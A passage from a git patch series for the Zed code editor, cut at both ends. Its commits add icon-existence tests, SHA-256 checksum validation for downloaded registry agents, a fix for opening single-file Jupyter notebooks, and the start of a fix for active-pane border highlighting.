+        let item_a = cx.new(TestItem::new);
+        let item_b = cx.new(TestItem::new);
+        let item_b_id = item_b.entity_id();
+
+        pane.update_in(cx, |pane, window, cx| {
+            pane.add_item(Box::new(item_a.clone()), true, true, None, window, cx);
+            pane.add_item(Box::new(item_b.clone()), true, true, None, window, cx);
+            pane.set_pinned_count(2);
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_panel_focus::<TestPanel>(window, cx);
+        });
+
+        workspace.update_in(cx, |_, window, cx| {
+            assert!(panel.read(cx).focus_handle(cx).contains_focused(window, cx));
+        });
+
+        // Every center tab is pinned, so with `close_pinned` unset this must be
+        // a no-op. Dispatching it from the focused dock used to panic by
+        // re-entering the workspace while it was still mid-update.
+        cx.dispatch_action(pane::CloseActiveItem::default());
+        cx.run_until_parked();
+
+        pane.read_with(cx, |pane, _| {
+            assert_eq!(pane.items_len(), 2);
+            assert_eq!(pane.active_item().unwrap().item_id(), item_b_id);
+        });
+    }
+
     #[gpui::test]
     async fn test_panel_zoom_preserved_across_workspace_switch(cx: &mut TestAppContext) {
         init_test(cx);

From f3f6a8345484c05cd0185b596158781074761687 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Mon, 20 Jul 2026 14:48:40 +0200
Subject: [PATCH 562/772] icons: Add test to ensure all icon variants exist
 (#61337)

This is just to help with bookkeeping, as we currently do not ensure
anywhere icons do actually exist.

Release Notes:

- N/A
---
 assets/icons/supermaven.svg |  8 -------
 crates/icons/src/icons.rs   | 42 +++++++++++++++++++++++++++++++++++++
 2 files changed, 42 insertions(+), 8 deletions(-)
 delete mode 100644 assets/icons/supermaven.svg

diff --git a/assets/icons/supermaven.svg b/assets/icons/supermaven.svg
deleted file mode 100644
index af778c70b71c52..00000000000000
--- a/assets/icons/supermaven.svg
+++ /dev/null
@@ -1,8 +0,0 @@
-<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M3.78125 14.9375C4.35078 14.9375 4.8125 14.4758 4.8125 13.9063C4.8125 13.3367 4.35078 12.875 3.78125 12.875C3.21171 12.875 2.75 13.3367 2.75 13.9063C2.75 14.4758 3.21171 14.9375 3.78125 14.9375Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M7.46876 9.18684L4.69485 14.4063L2.875 13.4382L5.64891 8.21875L7.46876 9.18684Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M8.43749 2.99935L5.64475 8.21876L3.8125 7.25066L6.60524 2.03125L8.43749 2.99935Z" fill="black"/>
-<path d="M7.5 3.53124C8.06953 3.53124 8.53124 3.06954 8.53124 2.5C8.53124 1.93045 8.06953 1.46875 7.5 1.46875C6.93046 1.46875 6.46875 1.93045 6.46875 2.5C6.46875 3.06954 6.93046 3.53124 7.5 3.53124Z" fill="black"/>
-<path fill-rule="evenodd" clip-rule="evenodd" d="M12.4366 1.49947C12.8962 1.61399 13.2187 2.02651 13.2187 2.49985V13.9063H11.1552V6.63497L9.29072 10.1392L7.46875 9.1711L11.276 2.01583C11.4984 1.5979 11.977 1.38496 12.4366 1.49947Z" fill="black"/>
-<path d="M12.1875 14.9375C12.757 14.9375 13.2187 14.4758 13.2187 13.9063C13.2187 13.3367 12.757 12.875 12.1875 12.875C11.6179 12.875 11.1562 13.3367 11.1562 13.9063C11.1562 14.4758 11.6179 14.9375 12.1875 14.9375Z" fill="black"/>
-</svg>
diff --git a/crates/icons/src/icons.rs b/crates/icons/src/icons.rs
index 6a94f8c7b46c7e..d1005517d772fc 100644
--- a/crates/icons/src/icons.rs
+++ b/crates/icons/src/icons.rs
@@ -309,3 +309,45 @@ impl IconName {
         format!("icons/{file_stem}.svg").into()
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use std::path::PathBuf;
+
+    use strum::{IntoEnumIterator as _, ParseError};
+
+    use crate::IconName;
+
+    #[test]
+    fn test_all_icons_exist() {
+        let asset_path = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../../assets");
+
+        for icon in IconName::iter() {
+            let icon_path = asset_path.join(&*icon.path());
+            assert!(
+                icon_path.exists(),
+                "Icon {icon:?} does not exist at {icon_path:?}",
+            );
+        }
+    }
+
+    #[test]
+    fn test_no_dangling_icons() -> Result<(), ParseError> {
+        let icons_dir = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../../assets/icons");
+
+        for entry in std::fs::read_dir(&icons_dir).expect("failed to read icons directory") {
+            let path = entry.expect("failed to read icons directory entry").path();
+            if path.extension().is_none_or(|extension| extension != "svg") {
+                continue;
+            }
+            let file_stem = path
+                .file_stem()
+                .and_then(|file_stem| file_stem.to_str())
+                .expect("icon file name is not valid UTF-8");
+
+            file_stem.parse::<IconName>()?;
+        }
+
+        Ok(())
+    }
+}

From a0dc9fd13b4cdaaf3ce707f40d634881a9fce60e Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 20 Jul 2026 15:21:18 +0200
Subject: [PATCH 563/772] acp: Validate registry agent checksums (#61334)

The registry now has optional checksums that we can use.

Release Notes:

- N/A
---
 crates/http_client/src/github_download.rs     |  74 +++++-
 crates/project/src/agent_registry_store.rs    |   4 +-
 crates/project/src/agent_server_store.rs      | 226 +++++++++++++++++-
 .../tests/integration/agent_registry_store.rs |  62 ++++-
 4 files changed, 347 insertions(+), 19 deletions(-)

diff --git a/crates/http_client/src/github_download.rs b/crates/http_client/src/github_download.rs
index 2970d118ad3265..bbb85c524912b6 100644
--- a/crates/http_client/src/github_download.rs
+++ b/crates/http_client/src/github_download.rs
@@ -11,6 +11,10 @@ use sha2::{Digest, Sha256};
 
 use crate::{HttpClient, github::AssetKind};
 
+fn sha256_matches(actual: &str, expected: &str) -> bool {
+    actual.eq_ignore_ascii_case(expected)
+}
+
 #[derive(serde::Deserialize, serde::Serialize, Debug)]
 pub struct GithubBinaryMetadata {
     pub metadata_version: u64,
@@ -104,7 +108,7 @@ pub async fn download_server_raw_binary(
 
         if let Some(expected_sha_256) = digest {
             anyhow::ensure!(
-                asset_sha_256 == expected_sha_256,
+                sha256_matches(&asset_sha_256, expected_sha_256),
                 "{url} asset got SHA-256 mismatch. Expected: {expected_sha_256}, Got: {asset_sha_256}",
             );
         }
@@ -150,7 +154,7 @@ async fn extract_to_staging(
             let asset_sha_256 = format!("{:x}", writer.hasher.finalize());
 
             anyhow::ensure!(
-                asset_sha_256 == expected_sha_256,
+                sha256_matches(&asset_sha_256, expected_sha_256),
                 "{url} asset got SHA-256 mismatch. Expected: {expected_sha_256}, Got: {asset_sha_256}",
             );
             writer
@@ -403,12 +407,12 @@ mod tests {
     }
 
     #[test]
-    fn downloads_raw_binary_into_destination_dir() {
+    fn downloads_raw_binary_with_uppercase_digest_into_destination_dir() {
         futures::executor::block_on(async {
             let temp_dir = tempfile::tempdir().unwrap();
             let destination_path = temp_dir.path().join("v_1");
             let contents = b"#!/bin/sh\necho hello\n".to_vec();
-            let expected_sha_256 = format!("{:x}", Sha256::digest(&contents));
+            let expected_sha_256 = format!("{:X}", Sha256::digest(&contents));
             let client = StaticResponseClient { body: contents };
 
             download_server_raw_binary(
@@ -463,4 +467,66 @@ mod tests {
             assert_eq!(leftover_entries, 0, "staging directory should be removed");
         });
     }
+
+    #[test]
+    fn downloads_archive_with_uppercase_digest_and_extracts_contents() {
+        futures::executor::block_on(async {
+            let archive = vec![
+                0x50, 0x4b, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
+                0x86, 0xa6, 0x10, 0x36, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00,
+                0x00, 0x00, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x68, 0x65, 0x6c, 0x6c, 0x6f, 0x50, 0x4b,
+                0x01, 0x02, 0x14, 0x03, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
+                0x86, 0xa6, 0x10, 0x36, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00,
+                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00,
+                0x00, 0x00, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x50, 0x4b, 0x05, 0x06, 0x00, 0x00, 0x00,
+                0x00, 0x01, 0x00, 0x01, 0x00, 0x33, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00,
+                0x00,
+            ];
+            let expected_sha_256 = format!("{:X}", Sha256::digest(&archive));
+            let client = StaticResponseClient { body: archive };
+            let temp_dir = tempfile::tempdir().unwrap();
+            let destination_path = temp_dir.path().join("v_1");
+
+            download_server_binary(
+                &client,
+                "https://example.com/agent.zip",
+                Some(&expected_sha_256),
+                &destination_path,
+                AssetKind::Zip,
+            )
+            .await
+            .unwrap();
+
+            assert_eq!(
+                std::fs::read(destination_path.join("agent")).unwrap(),
+                b"hello"
+            );
+        });
+    }
+
+    #[test]
+    fn archive_digest_mismatch_prevents_extraction_and_cleans_up_staging() {
+        futures::executor::block_on(async {
+            let temp_dir = tempfile::tempdir().unwrap();
+            let destination_path = temp_dir.path().join("v_1");
+            let client = StaticResponseClient {
+                body: b"not an archive".to_vec(),
+            };
+
+            let error = download_server_binary(
+                &client,
+                "https://example.com/agent.zip",
+                Some("0000000000000000000000000000000000000000000000000000000000000000"),
+                &destination_path,
+                AssetKind::Zip,
+            )
+            .await
+            .unwrap_err();
+
+            assert!(error.to_string().contains("SHA-256 mismatch"));
+            assert!(!destination_path.exists());
+            let leftover_entries = std::fs::read_dir(temp_dir.path()).unwrap().count();
+            assert_eq!(leftover_entries, 0, "staging directory should be removed");
+        });
+    }
 }
diff --git a/crates/project/src/agent_registry_store.rs b/crates/project/src/agent_registry_store.rs
index 8cfba22f6d68ca..67550e8108b4d3 100644
--- a/crates/project/src/agent_registry_store.rs
+++ b/crates/project/src/agent_registry_store.rs
@@ -412,7 +412,7 @@ async fn build_registry_agents(
                         archive: target.archive.clone(),
                         cmd: target.cmd.clone(),
                         args: target.args.clone(),
-                        sha256: None,
+                        sha256: target.sha256.clone(),
                         env: target.env.clone(),
                     },
                 );
@@ -662,6 +662,8 @@ struct RegistryBinaryTarget {
     #[serde(default)]
     args: Vec<String>,
     #[serde(default)]
+    sha256: Option<String>,
+    #[serde(default)]
     env: HashMap<String, String>,
 }
 
diff --git a/crates/project/src/agent_server_store.rs b/crates/project/src/agent_server_store.rs
index 89f8b98354f450..e92c37d9df7c29 100644
--- a/crates/project/src/agent_server_store.rs
+++ b/crates/project/src/agent_server_store.rs
@@ -400,7 +400,9 @@ impl AgentServerStore {
                                         http_client: http_client.clone(),
                                         node_runtime: node_runtime.clone(),
                                         project_environment: project_environment.clone(),
-                                        registry_id: Arc::from(name.as_str()),
+                                        installation_dir: paths::external_agents_dir()
+                                            .join("registry")
+                                            .join(sanitize_path_component(name)),
                                         version: agent.metadata.version.clone(),
                                         targets: agent.targets.clone(),
                                         env: env.clone(),
@@ -1022,6 +1024,7 @@ fn versioned_archive_cache_dir(
     base_dir: &Path,
     version: Option<&str>,
     archive_url: &str,
+    sha256: Option<&str>,
 ) -> PathBuf {
     let version = version.unwrap_or_default();
     let sanitized_version = sanitize_path_component(version);
@@ -1030,14 +1033,18 @@ fn versioned_archive_cache_dir(
     version_hasher.update(version.as_bytes());
     let version_hash = format!("{:x}", version_hasher.finalize());
 
-    let mut url_hasher = Sha256::new();
-    url_hasher.update(archive_url.as_bytes());
-    let url_hash = format!("{:x}", url_hasher.finalize());
+    let mut archive_hasher = Sha256::new();
+    archive_hasher.update(archive_url.as_bytes());
+    if let Some(sha256) = sha256 {
+        archive_hasher.update(b"\0sha256:");
+        archive_hasher.update(sha256.to_ascii_lowercase().as_bytes());
+    }
+    let archive_hash = format!("{:x}", archive_hasher.finalize());
 
     base_dir.join(format!(
         "v_{sanitized_version}_{}_{}",
         &version_hash[..16],
-        &url_hash[..16],
+        &archive_hash[..16],
     ))
 }
 
@@ -1112,7 +1119,7 @@ struct LocalRegistryArchiveAgent {
     http_client: Arc<dyn HttpClient>,
     node_runtime: NodeRuntime,
     project_environment: Entity<ProjectEnvironment>,
-    registry_id: Arc<str>,
+    installation_dir: PathBuf,
     version: SharedString,
     targets: HashMap<String, RegistryTargetConfig>,
     env: HashMap<String, String>,
@@ -1151,7 +1158,7 @@ impl ExternalAgentServer for LocalRegistryArchiveAgent {
         let http_client = self.http_client.clone();
         let node_runtime = self.node_runtime.clone();
         let project_environment = self.project_environment.downgrade();
-        let registry_id = self.registry_id.clone();
+        let installation_dir = self.installation_dir.clone();
         let targets = self.targets.clone();
         let settings_env = self.env.clone();
         let version = self.version.clone();
@@ -1165,9 +1172,7 @@ impl ExternalAgentServer for LocalRegistryArchiveAgent {
                 .await
                 .unwrap_or_default();
 
-            let dir = paths::external_agents_dir()
-                .join("registry")
-                .join(sanitize_path_component(&registry_id));
+            let dir = installation_dir;
             fs.create_dir(&dir).await?;
 
             let os = if cfg!(target_os = "macos") {
@@ -1206,8 +1211,12 @@ impl ExternalAgentServer for LocalRegistryArchiveAgent {
             env.extend(settings_env);
 
             let archive_url = &target_config.archive;
-            let version_dir =
-                versioned_archive_cache_dir(&dir, Some(version.as_ref()), archive_url);
+            let version_dir = versioned_archive_cache_dir(
+                &dir,
+                Some(version.as_ref()),
+                archive_url,
+                target_config.sha256.as_deref(),
+            );
 
             if !fs.is_dir(&version_dir).await {
                 let mut loading_status_tx = loading_status_tx;
@@ -1669,9 +1678,75 @@ mod tests {
     };
     use crate::worktree_store::{WorktreeIdCounter, WorktreeStore};
     use gpui::TestAppContext;
+    #[cfg(feature = "test-support")]
+    use http_client::{AsyncBody, FakeHttpClient, Response};
     use node_runtime::NodeRuntime;
     use settings::Settings as _;
 
+    #[cfg(feature = "test-support")]
+    const TEST_ARCHIVE_URL: &str = "https://example.test/agent";
+
+    #[cfg(feature = "test-support")]
+    fn static_http_client(body: Vec<u8>) -> Arc<dyn HttpClient> {
+        FakeHttpClient::create(move |_| {
+            let body = body.clone();
+            async move {
+                Ok(Response::builder()
+                    .status(200)
+                    .body(AsyncBody::from(body))?)
+            }
+        })
+    }
+
+    #[cfg(feature = "test-support")]
+    fn make_registry_archive_agent(
+        cx: &mut TestAppContext,
+        installation_dir: PathBuf,
+        http_client: Arc<dyn HttpClient>,
+        sha256: Option<String>,
+    ) -> LocalRegistryArchiveAgent {
+        let fs: Arc<dyn Fs> = Arc::new(fs::RealFs::new(None, cx.executor()));
+        let target = RegistryTargetConfig {
+            archive: TEST_ARCHIVE_URL.to_string(),
+            cmd: "./agent".to_string(),
+            args: Vec::new(),
+            sha256,
+            env: HashMap::default(),
+        };
+        let targets = [
+            "darwin-aarch64",
+            "darwin-x86_64",
+            "linux-aarch64",
+            "linux-x86_64",
+            "windows-aarch64",
+            "windows-x86_64",
+        ]
+        .into_iter()
+        .map(|platform| (platform.to_string(), target.clone()))
+        .collect();
+
+        cx.update(|cx| {
+            let worktree_store =
+                cx.new(|cx| WorktreeStore::local(false, fs.clone(), WorktreeIdCounter::get(cx)));
+            let project_environment = cx.new(|cx| {
+                crate::ProjectEnvironment::new(None, worktree_store.downgrade(), None, false, cx)
+            });
+
+            LocalRegistryArchiveAgent {
+                fs,
+                http_client,
+                node_runtime: NodeRuntime::unavailable(),
+                project_environment,
+                installation_dir,
+                version: "1.0.0".into(),
+                targets,
+                env: HashMap::default(),
+                new_version_available_tx: None,
+                loading_status_tx: None,
+            }
+        })
+    }
+
     fn make_npx_agent(id: &str, version: &str) -> RegistryAgent {
         let id = SharedString::from(id.to_string());
         RegistryAgent::Npx(RegistryNpxAgent {
@@ -1896,16 +1971,18 @@ mod tests {
     }
 
     #[test]
-    fn versioned_archive_cache_dir_includes_version_before_url_hash() {
+    fn versioned_archive_cache_dir_includes_artifact_identity() {
         let slash_version_dir = versioned_archive_cache_dir(
             Path::new("/tmp/agents"),
             Some("release/2.3.5"),
             "https://example.com/agent.zip",
+            None,
         );
         let colon_version_dir = versioned_archive_cache_dir(
             Path::new("/tmp/agents"),
             Some("release:2.3.5"),
             "https://example.com/agent.zip",
+            None,
         );
         let file_name = slash_version_dir
             .file_name()
@@ -1914,6 +1991,129 @@ mod tests {
 
         assert!(file_name.starts_with("v_release-2.3.5_"));
         assert_ne!(slash_version_dir, colon_version_dir);
+
+        let lowercase_checksum_dir = versioned_archive_cache_dir(
+            Path::new("/tmp/agents"),
+            Some("release/2.3.5"),
+            "https://example.com/agent.zip",
+            Some("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"),
+        );
+        let uppercase_checksum_dir = versioned_archive_cache_dir(
+            Path::new("/tmp/agents"),
+            Some("release/2.3.5"),
+            "https://example.com/agent.zip",
+            Some("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
+        );
+        let changed_checksum_dir = versioned_archive_cache_dir(
+            Path::new("/tmp/agents"),
+            Some("release/2.3.5"),
+            "https://example.com/agent.zip",
+            Some("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"),
+        );
+
+        assert_ne!(slash_version_dir, lowercase_checksum_dir);
+        assert_eq!(lowercase_checksum_dir, uppercase_checksum_dir);
+        assert_ne!(lowercase_checksum_dir, changed_checksum_dir);
+    }
+
+    #[cfg(feature = "test-support")]
+    #[gpui::test]
+    async fn registry_raw_binary_checksum_invalidates_unverified_cache_and_blocks_mismatch(
+        cx: &mut TestAppContext,
+    ) {
+        init_test_settings(cx);
+        cx.executor().allow_parking();
+        let temp_dir = tempfile::tempdir().unwrap();
+        let installation_dir = temp_dir.path().join("agent");
+        let old_version_dir =
+            versioned_archive_cache_dir(&installation_dir, Some("1.0.0"), TEST_ARCHIVE_URL, None);
+        std::fs::create_dir_all(&old_version_dir).unwrap();
+        std::fs::write(old_version_dir.join("agent"), b"unverified agent").unwrap();
+
+        let expected_sha256 = "0000000000000000000000000000000000000000000000000000000000000000";
+        let http_client = static_http_client(b"unexpected agent".to_vec());
+        let mut agent = make_registry_archive_agent(
+            cx,
+            installation_dir.clone(),
+            http_client,
+            Some(expected_sha256.to_string()),
+        );
+        let get_command =
+            cx.update(|cx| agent.get_command(Vec::new(), HashMap::default(), &mut cx.to_async()));
+
+        let error = get_command.await.unwrap_err();
+        assert!(
+            error.to_string().contains("SHA-256 mismatch"),
+            "unexpected error: {error:#}"
+        );
+        assert!(old_version_dir.exists());
+        assert!(
+            !versioned_archive_cache_dir(
+                &installation_dir,
+                Some("1.0.0"),
+                TEST_ARCHIVE_URL,
+                Some(expected_sha256),
+            )
+            .exists()
+        );
+    }
+
+    #[cfg(feature = "test-support")]
+    #[gpui::test]
+    async fn registry_raw_binary_with_checksum_installs(cx: &mut TestAppContext) {
+        init_test_settings(cx);
+        cx.executor().allow_parking();
+        let temp_dir = tempfile::tempdir().unwrap();
+        let installation_dir = temp_dir.path().join("agent");
+        let contents = b"verified agent";
+        let expected_sha256 = format!("{:X}", Sha256::digest(contents));
+        let http_client = static_http_client(contents.to_vec());
+        let mut agent = make_registry_archive_agent(
+            cx,
+            installation_dir.clone(),
+            http_client,
+            Some(expected_sha256.clone()),
+        );
+        let get_command =
+            cx.update(|cx| agent.get_command(Vec::new(), HashMap::default(), &mut cx.to_async()));
+
+        let command = get_command.await.unwrap();
+        cx.run_until_parked();
+        assert_eq!(
+            command.path,
+            versioned_archive_cache_dir(
+                &installation_dir,
+                Some("1.0.0"),
+                TEST_ARCHIVE_URL,
+                Some(&expected_sha256),
+            )
+            .join("agent")
+        );
+        assert_eq!(std::fs::read(command.path).unwrap(), contents);
+    }
+
+    #[cfg(feature = "test-support")]
+    #[gpui::test]
+    async fn registry_raw_binary_without_checksum_installs(cx: &mut TestAppContext) {
+        init_test_settings(cx);
+        cx.executor().allow_parking();
+        let temp_dir = tempfile::tempdir().unwrap();
+        let installation_dir = temp_dir.path().join("agent");
+        let contents = b"unchecked agent";
+        let http_client = static_http_client(contents.to_vec());
+        let mut agent =
+            make_registry_archive_agent(cx, installation_dir.clone(), http_client, None);
+        let get_command =
+            cx.update(|cx| agent.get_command(Vec::new(), HashMap::default(), &mut cx.to_async()));
+
+        let command = get_command.await.unwrap();
+        cx.run_until_parked();
+        assert_eq!(
+            command.path,
+            versioned_archive_cache_dir(&installation_dir, Some("1.0.0"), TEST_ARCHIVE_URL, None,)
+                .join("agent")
+        );
+        assert_eq!(std::fs::read(command.path).unwrap(), contents);
     }
 
     #[gpui::test]
diff --git a/crates/project/tests/integration/agent_registry_store.rs b/crates/project/tests/integration/agent_registry_store.rs
index a9935e607238c3..ab8d7387cdbf55 100644
--- a/crates/project/tests/integration/agent_registry_store.rs
+++ b/crates/project/tests/integration/agent_registry_store.rs
@@ -3,7 +3,7 @@ use std::{future, sync::Arc, time::Duration};
 use fs::FakeFs;
 use gpui::TestAppContext;
 use http_client::{AsyncBody, FakeHttpClient, HttpClient, Response};
-use project::AgentRegistryStore;
+use project::{AgentRegistryStore, RegistryAgent};
 use serde_json::json;
 
 use crate::init_test;
@@ -113,3 +113,63 @@ async fn registry_refresh_does_not_block_sequentially_on_hung_icon_downloads(
         assert_eq!(store.fetch_error(), None);
     });
 }
+
+#[gpui::test]
+async fn registry_refresh_preserves_optional_binary_checksums(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    let checksum = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+    let fs = FakeFs::new(cx.executor());
+    let http_client = FakeHttpClient::create(move |_| async move {
+        let body = serde_json::to_vec(&json!({
+            "version": "1",
+            "agents": [{
+                "id": "binary-agent",
+                "name": "Binary Agent",
+                "version": "1.0.0",
+                "description": "A binary agent.",
+                "distribution": {
+                    "binary": {
+                        "darwin-aarch64": {
+                            "archive": "https://example.test/agent.zip",
+                            "sha256": checksum,
+                            "cmd": "./agent"
+                        },
+                        "linux-x86_64": {
+                            "archive": "https://example.test/agent.zip",
+                            "cmd": "./agent"
+                        }
+                    }
+                }
+            }]
+        }))?;
+        Ok(Response::builder()
+            .status(200)
+            .body(AsyncBody::from(body))?)
+    }) as Arc<dyn HttpClient>;
+
+    let registry_store =
+        cx.update(|cx| AgentRegistryStore::init_global(cx, fs.clone(), http_client));
+    cx.run_until_parked();
+
+    registry_store.read_with(cx, |store, _| {
+        let Some(RegistryAgent::Binary(agent)) = store.agents().first() else {
+            panic!("expected a binary registry agent");
+        };
+
+        assert_eq!(
+            agent
+                .targets
+                .get("darwin-aarch64")
+                .and_then(|target| target.sha256.as_deref()),
+            Some(checksum)
+        );
+        assert!(
+            agent
+                .targets
+                .get("linux-x86_64")
+                .is_some_and(|target| target.sha256.is_none())
+        );
+        assert_eq!(store.fetch_error(), None);
+    });
+}

From 55ea5baf15027d185390e8aa1b6b7768cc059330 Mon Sep 17 00:00:00 2001
From: Arnesh <linkrinku13@gmail.com>
Date: Mon, 20 Jul 2026 18:58:46 +0530
Subject: [PATCH 564/772] repl: Open notebooks from single-file worktrees in
 the notebook editor (#61294)

`NotebookItem::try_open` only checked the worktree-relative path's
extension, which is empty for single-file worktrees. As a result,
opening a notebook directly (`zed foo.ipynb`, or any open outside a
folder worktree) fell through to the text editor and showed raw JSON,
while the same file opened from within a folder workspace opened in the
notebook editor. Fall back to the absolute path when detecting
notebooks.

Tested locally (macOS, with the notebook feature enabled via
`LOCAL_NOTEBOOK_DEV`): `zed /tmp/solo.ipynb` now opens the rendered
notebook view; folder-workspace behavior unchanged.

Release Notes:

- Fixed notebooks opened as single files (e.g. `zed foo.ipynb`)
rendering as raw JSON instead of opening in the notebook editor
(preview-only).

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
---
 crates/repl/src/notebook/notebook_ui.rs | 72 +++++++++++++++++++++++--
 1 file changed, 68 insertions(+), 4 deletions(-)

diff --git a/crates/repl/src/notebook/notebook_ui.rs b/crates/repl/src/notebook/notebook_ui.rs
index 235a711428bbf3..a466f2b6eebdcc 100644
--- a/crates/repl/src/notebook/notebook_ui.rs
+++ b/crates/repl/src/notebook/notebook_ui.rs
@@ -69,6 +69,8 @@ pub(crate) const GUTTER_WIDTH: f32 = 19.0;
 pub(crate) const CODE_BLOCK_INSET: f32 = MEDIUM_SPACING_SIZE;
 pub(crate) const CONTROL_SIZE: f32 = 20.0;
 
+const NOTEBOOK_EXTENSION: &str = "ipynb";
+
 pub fn init(cx: &mut App) {
     if cx.has_flag::<NotebookFeatureFlag>() || std::env::var("LOCAL_NOTEBOOK_DEV").is_ok() {
         workspace::register_project_item::<NotebookEditor>(cx);
@@ -1510,11 +1512,19 @@ impl project::ProjectItem for NotebookItem {
         let fs = project.read(cx).fs().clone();
         let languages = project.read(cx).languages().clone();
 
-        if path.path.extension().unwrap_or_default() == "ipynb" {
+        // For single-file worktrees the relative path is empty, so fall back
+        // to the absolute path to detect notebooks opened directly.
+        let abs_path = project.read(cx).absolute_path(&path, cx);
+        let is_notebook = path.path.extension().unwrap_or_default() == NOTEBOOK_EXTENSION
+            || abs_path
+                .as_ref()
+                .and_then(|abs_path| abs_path.extension())
+                .is_some_and(|extension| extension == NOTEBOOK_EXTENSION);
+
+        if is_notebook {
             Some(cx.spawn(async move |cx| {
-                let abs_path = project
-                    .read_with(cx, |project, cx| project.absolute_path(&path, cx))
-                    .with_context(|| format!("finding the absolute path of {path:?}"))?;
+                let abs_path =
+                    abs_path.with_context(|| format!("finding the absolute path of {path:?}"))?;
 
                 // todo: watch for changes to the file
                 let buffer = project
@@ -2097,4 +2107,58 @@ mod tests {
             }
         });
     }
+
+    /// Opening a notebook as a single file (its own worktree) leaves the
+    /// worktree-relative path empty, so only the absolute path carries the
+    /// `.ipynb` extension. `try_open` must still recognize it as a notebook.
+    #[gpui::test]
+    async fn test_open_single_file_notebook(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let settings_store = SettingsStore::test(cx);
+            cx.set_global(settings_store);
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+            editor::init(cx);
+        });
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/notebooks"),
+            json!({ "single.ipynb": NOTEBOOK_WITH_ONE_CODE_CELL }),
+        )
+        .await;
+
+        let project =
+            Project::test(fs.clone(), [path!("/notebooks/single.ipynb").as_ref()], cx).await;
+        cx.update(|cx| ReplStore::init(fs.clone(), cx));
+
+        let project_path = project.read_with(cx, |project, cx| {
+            let worktree = project.worktrees(cx).next().unwrap();
+            let worktree = worktree.read(cx);
+            assert!(
+                worktree.is_single_file(),
+                "opening a bare .ipynb should create a single-file worktree"
+            );
+            ProjectPath {
+                worktree_id: worktree.id(),
+                path: worktree.root_entry().unwrap().path.clone(),
+            }
+        });
+
+        assert!(
+            project_path.path.extension().is_none(),
+            "single-file worktree relative path should have no extension"
+        );
+
+        let notebook_item = cx
+            .update(|cx| {
+                NotebookItem::try_open(&project, &project_path, cx)
+                    .expect("single-file .ipynb should open as a notebook")
+            })
+            .await
+            .expect("notebook should parse");
+
+        notebook_item.read_with(cx, |item, _| {
+            assert_eq!(item.notebook.cells.len(), 1);
+        });
+    }
 }

From 8f6f8a54b9933059f1963af601369e0555e32649 Mon Sep 17 00:00:00 2001
From: Aks <32371934+usizu@users.noreply.github.com>
Date: Mon, 20 Jul 2026 15:16:00 +0100
Subject: [PATCH 565/772] Fix active pane border and pane opacity dimming
 showing simultaneously on editor panes and terminal panes (#56595)

When `active_pane_modifiers.border_size` is set in `settings.json`, both
the active editor pane and the active terminal pane would display a
border simultaneously, making it impossible to tell which pane actually
has focus. The pane opacity dimming also renders simultaneously before
this fix.

1. Before fix: impossible to tell which pane has focus
<img width="901" height="732" alt="image"
src="https://github.com/user-attachments/assets/cbcad798-0d72-420c-9585-2dafa867ff2b"
/>

2. After fix: only one pane has focus
<img width="902" height="731" alt="image"
src="https://github.com/user-attachments/assets/97f2238e-4789-41b3-97e3-98cb9a0c82ef"
/>

The root cause is that both the workspace center and the terminal panel
pass their own `active_pane` to `PaneRenderContext`, so each pane group
unconditionally marks its active pane for border rendering. The fix adds
a focus check so `active_pane_ix` is only set when the pane actually has
keyboard focus, ensuring only the truly focused pane gets the border
(and the inactive_opacity dimming applies correctly to unfocused
groups).

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- Fixed active pane border being drawn on both the editor pane and
terminal pane simultaneously

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/workspace/src/pane_group.rs | 12 ++++-
 crates/workspace/src/workspace.rs  | 83 ++++++++++++++++++++++++++++++
 2 files changed, 94 insertions(+), 1 deletion(-)

diff --git a/crates/workspace/src/pane_group.rs b/crates/workspace/src/pane_group.rs
index 3b0d07dcf259d4..672190aff60a20 100644
--- a/crates/workspace/src/pane_group.rs
+++ b/crates/workspace/src/pane_group.rs
@@ -35,6 +35,8 @@ pub struct PaneGroup {
 pub struct PaneRenderResult {
     pub element: gpui::AnyElement,
     pub contains_active_pane: bool,
